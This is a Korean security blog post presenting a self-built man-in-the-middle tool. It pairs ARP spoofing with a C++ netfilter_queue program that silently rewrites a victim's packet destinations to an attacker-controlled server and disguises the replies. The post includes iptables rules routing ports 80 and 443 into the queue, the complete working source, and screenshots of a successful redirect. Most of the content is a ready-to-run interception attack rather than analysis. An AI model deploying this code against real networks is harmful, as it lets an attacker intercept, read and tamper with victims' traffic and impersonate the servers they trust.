본문 바로가기
Hack/Network

[Netfilter] MITM Tool With netfilter_queue

by Becoming a Hacker 2022. 8. 28.
반응형

ARP Spoofing과 IP Spoofing을 이용하여 MITM을 걸 수 있는 Tool을 개발하였습니다.

 

해당 Tool의 경우 공격자 (A-1), 외부 공격자 서버(A-2), 피해자(B), 통신 서버(C)로 환경이 구성되어 있을 경우 아래와 같이 동작합니다.

※ B <-> C 통신을 B <-> A-2 통신으로 변경할 수 있음

동작 과정

 

준비 과정

1. ARP Spoofing Tool 준비

※ 저는 아래 포스팅에 있는 코드를 사용하였습니다.

 

[Python Scapy] ARP Spoofing 구현

ARP Spoofing ARP Spoofing이란 ARP(Address Resolution Protocol)를 이용하여 공격 대상에게 공격자를 Gateway와 같은 다른 대상으로 속여 중간에서 패킷을 가로챔으로써 도청하거나 조작이 가능한 공격 입니다...

hacksms.tistory.com

 

2. netfilter_queue 환경 구성하기

 

[Netfilter] netfilter_queue 사용 방법

netfilter_queue 설치 먼저 netfilter_queue를 사용하기 위해 linfnetlink와 libmnl을 설치해준뒤, libnetfilter_queue를 설치해줍니다. # Install libnfnetlink $ wget https://www.netfilter.org/pub/libnfnetli..

hacksms.tistory.com

 

3. IPTABLES 설정

※ 해당 코드의 경우 TCP 80, 443 포트에서 Forwarding 되는 Packet을 netfilter_queue로 전송하는 역할을 함

$ sudo iptables -A FORWARD -p tcp --dport 80 -j NFQUEUE
$ sudo iptables -A FORWARD -p tcp --dport 443 -j NFQUEUE
$ sudo iptables -A FORWARD -p tcp --sport 80 -j NFQUEUE
$ sudo iptables -A FORWARD -p tcp --sport 443 -j NFQUEUE

 

간략 코드 흐름 설명

1. nfq_create_queue 함수에서 3번째 인자로 전달한 callback 함수가 nfq_handle_packet 함수가 실행될 때 Callback 함수로써 같이 실행됩니다.

extern "C"
{
#include <libnetfilter_queue/libnetfilter_queue.h>
#include <libnetfilter_queue/pktbuff.h>
#include <libnetfilter_queue/libnetfilter_queue_ipv4.h>
#include <libnetfilter_queue/libnetfilter_queue_tcp.h>
}

static int callback(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg, struct nfq_data *nfad, void *data){

...

}

int main(int argc, char **argv){

	// Intercept Packet
	qh = nfq_create_queue(h,  0, &callback, NULL);

...

	for (;;) {
		if ((rv = recv(fd, buf, sizeof(buf), 0)) >= 0) {
        	// Packet Handling
			nfq_handle_packet(h, buf, rv);
			continue;
		}

 

2. callback 함수는 Destination IP가 통신 서버(C)일 때 공격자 서버(A-2)로 변경한 뒤 전송하는 역할과 Source IP가 공격자 서버(A-2)일 때 통신 서버(C)로 변경한 뒤 전송하는 역할을 하고 있습니다

static int callback(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg, struct nfq_data *nfad, void *data){

...

	// Request Packet Spoofing
	// 0x65ffff36 is Original Server, 0xecffffc0 is Victim Server
	if(ip->protocol == IPPROTO_TCP && ip->daddr==0x65ffff36 && ip->saddr==0xecffffc0){
		...
        
		// ip->daddr is Destination IP, Spoofing IP
		// 0xceffff68 is Attacker Server
		ip->daddr = 0xceffff68;

		// Calculate ip Checksum 
		ip->check = 0;
		ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
		printf("Spoofing %x %x\n", htonl(ip->saddr),htonl(ip->daddr));
		  
		...
	}
	// Response Packet Spoofing
	// 0xceffff68 is Attacker Server
	else if(ip->protocol == IPPROTO_TCP && ip->saddr==0xceffff68){
		...
        
		// 0x65ffff36 is Original Server, Need to Change Spoofing IP to Original Source IP
		ip->saddr = 0x65ffff36;
		
		// Calculate ip Checksum 
		ip->check = 0;
		ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
		printf("Response %x %x\n", htonl(ip->saddr),htonl(ip->daddr));
        
		...
	}
}

 

전체 코드

#include <cstdio>
#include <cerrno>
#include <stdexcept>
#include <cstring>
#include <memory>
#include <functional>
#include <array>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <linux/netfilter.h>
  
extern "C"
{
#include <libnetfilter_queue/libnetfilter_queue.h>
#include <libnetfilter_queue/pktbuff.h>
#include <libnetfilter_queue/libnetfilter_queue_ipv4.h>
#include <libnetfilter_queue/libnetfilter_queue_tcp.h>
}
  
#define THROW_IF_TRUE(x, m) do { if((x)) { throw std::runtime_error(m); }} while(false)
  
#define CONCAT_0(pre, post) pre ## post
#define CONCAT_1(pre, post) CONCAT_0(pre, post)
#define GENERATE_IDENTIFICATOR(pre) CONCAT_1(pre, __LINE__)
  
using ScopedGuard = std::unique_ptr<void, std::function<void(void *)>>;
#define SCOPED_GUARD_NAMED(name, code) ScopedGuard name(reinterpret_cast<void *>(-1), [&](void *) -> void {code}); (void)name
#define SCOPED_GUARD(code) SCOPED_GUARD_NAMED(GENERATE_IDENTIFICATOR(genScopedGuard), code)

static unsigned short compute_checksum(unsigned short *addr, unsigned int count) {
	register unsigned long sum = 0;
	while (count > 1) {
	sum += * addr++;
	count -= 2;
	}
	//if any bytes left, pad the bytes and add
	if(count > 0) {
	sum += ((*addr)&htons(0xFF00));
	}
	//Fold sum to 16 bits: add carrier to result
	while (sum>>16) {
	  sum = (sum & 0xffff) + (sum >> 16);
	}
	//one's complement
	sum = ~sum;
	return ((unsigned short)sum);
}

static int callback(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg,
	      struct nfq_data *nfad, void *data)
{
	struct nfqnl_msg_packet_hdr *ph = nfq_get_msg_packet_hdr(nfad);
	THROW_IF_TRUE(ph == nullptr, "Issue while packet header");
  
	unsigned char *rawData = nullptr;
	int len = nfq_get_payload(nfad, &rawData);
	THROW_IF_TRUE(len < 0, "Can\'t get payload data");
  
	struct pkt_buff * pkBuff = pktb_alloc(AF_INET, rawData, len, 0x1000);
	THROW_IF_TRUE(pkBuff == nullptr, "Issue while pktb allocate");
	SCOPED_GUARD( pktb_free(pkBuff); ); // Don't forget to clean up
  
	struct iphdr *ip = nfq_ip_get_hdr(pkBuff);
	THROW_IF_TRUE(ip == nullptr, "Issue while ipv4 header parse.");
  
	THROW_IF_TRUE(nfq_ip_set_transport_header(pkBuff, ip) < 0, "Can\'t set transport header.");
	
	// Request Packet Spoofing
	// 0x65ffff36 is Original Server, 0xecffffc0 is Victim Server
	if(ip->protocol == IPPROTO_TCP && ip->daddr==0x65ffff36 && ip->saddr==0xecffffc0){
		struct tcphdr *tcp = nfq_tcp_get_hdr(pkBuff);
		THROW_IF_TRUE(tcp == nullptr, "Issue while tcp header.");
		// ip->daddr is Destination IP, Spoofing IP
		// 0xceffff68 is Attacker Server
		ip->daddr = 0xceffff68;
		
		// Calculate ip Checksum 
		ip->check = 0;
		ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
		printf("Spoofing %x %x\n", htonl(ip->saddr),htonl(ip->daddr));
		  
		nfq_tcp_compute_checksum_ipv4(tcp, ip);
		return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff));
	}
	// Response Packet Spoofing
	// 0xceffff68 is Attacker Server
	else if(ip->protocol == IPPROTO_TCP && ip->saddr==0xceffff68){
		struct tcphdr *tcp = nfq_tcp_get_hdr(pkBuff);
		THROW_IF_TRUE(tcp == nullptr, "Issue while tcp header.");
		
		// 0x65ffff36 is Original Server, Need to Change Spoofing IP to Original Source IP
		ip->saddr = 0x65ffff36;
		
		// Calculate ip Checksum 
		ip->check = 0;
		ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
		printf("Response %x %x\n", htonl(ip->saddr),htonl(ip->daddr));
		  
		nfq_tcp_compute_checksum_ipv4(tcp, ip);
		return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff));
	}
	return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, 0, NULL);
}


int main(int argc, char **argv)
{

	struct nfq_handle *h;
	struct nfq_q_handle *qh;
	struct nfnl_handle *nh;
	int fd;
	int rv;
	char buf[4096] __attribute__ ((aligned));

	h = nfq_open();

	if (!h) {
		fprintf(stderr, "error during nfq_open()\n");
		exit(1);
	}

	if (nfq_unbind_pf(h, AF_INET) < 0) {
		fprintf(stderr, "error during nfq_unbind_pf()\n");
		exit(1);
	}

	if (nfq_bind_pf(h, AF_INET) < 0) {
		fprintf(stderr, "error during nfq_bind_pf()\n");
		exit(1);
	}

	// Intercept Packet
	qh = nfq_create_queue(h,  0, &callback, NULL);

	if (!qh) {
		fprintf(stderr, "error during nfq_create_queue()\n");
		exit(1);
	}

	// NFQNL_COPY_PACKET is "copy entire packet"
	if (nfq_set_mode(qh, NFQNL_COPY_PACKET, 0xffff) < 0) {
		fprintf(stderr, "can't set packet_copy mode\n");
		exit(1);
	}

	fd = nfq_fd(h);

	for (;;) {
		if ((rv = recv(fd, buf, sizeof(buf), 0)) >= 0) {
			nfq_handle_packet(h, buf, rv);
			continue;
		}

		/* if your application is too slow to digest the packets that
		 * are sent from kernel-space, the socket buffer that we use
		 * to enqueue packets may fill up returning ENOBUFS. Depending
		 * on your application, this error may be ignored. Please, see
		 * the doxygen documentation of this library on how to improve
		 * this situation.
		 */

		if (rv < 0 && errno == ENOBUFS) {
			printf("losing packets!\n");
			continue;
		}

		perror("recv failed");
		break;
	}

	nfq_destroy_queue(qh);


#ifdef INSANE
	/* normally, applications SHOULD NOT issue this command, since
	 * it detaches other programs/sockets from AF_INET, too ! */

	printf("unbinding from AF_INET\n");
	nfq_unbind_pf(h, AF_INET);

#endif
	printf("closing library handle\n");
	nfq_close(h);

	exit(0);
}

 

공격 화면

접속을 시도한 IP는 "54.xxx.xxx.101"이지만 실제로는 공격자의 서버로 접속된 화면입니다.

실제 통신 서버

 

공격자 서버로 접속된 화면

반응형

댓글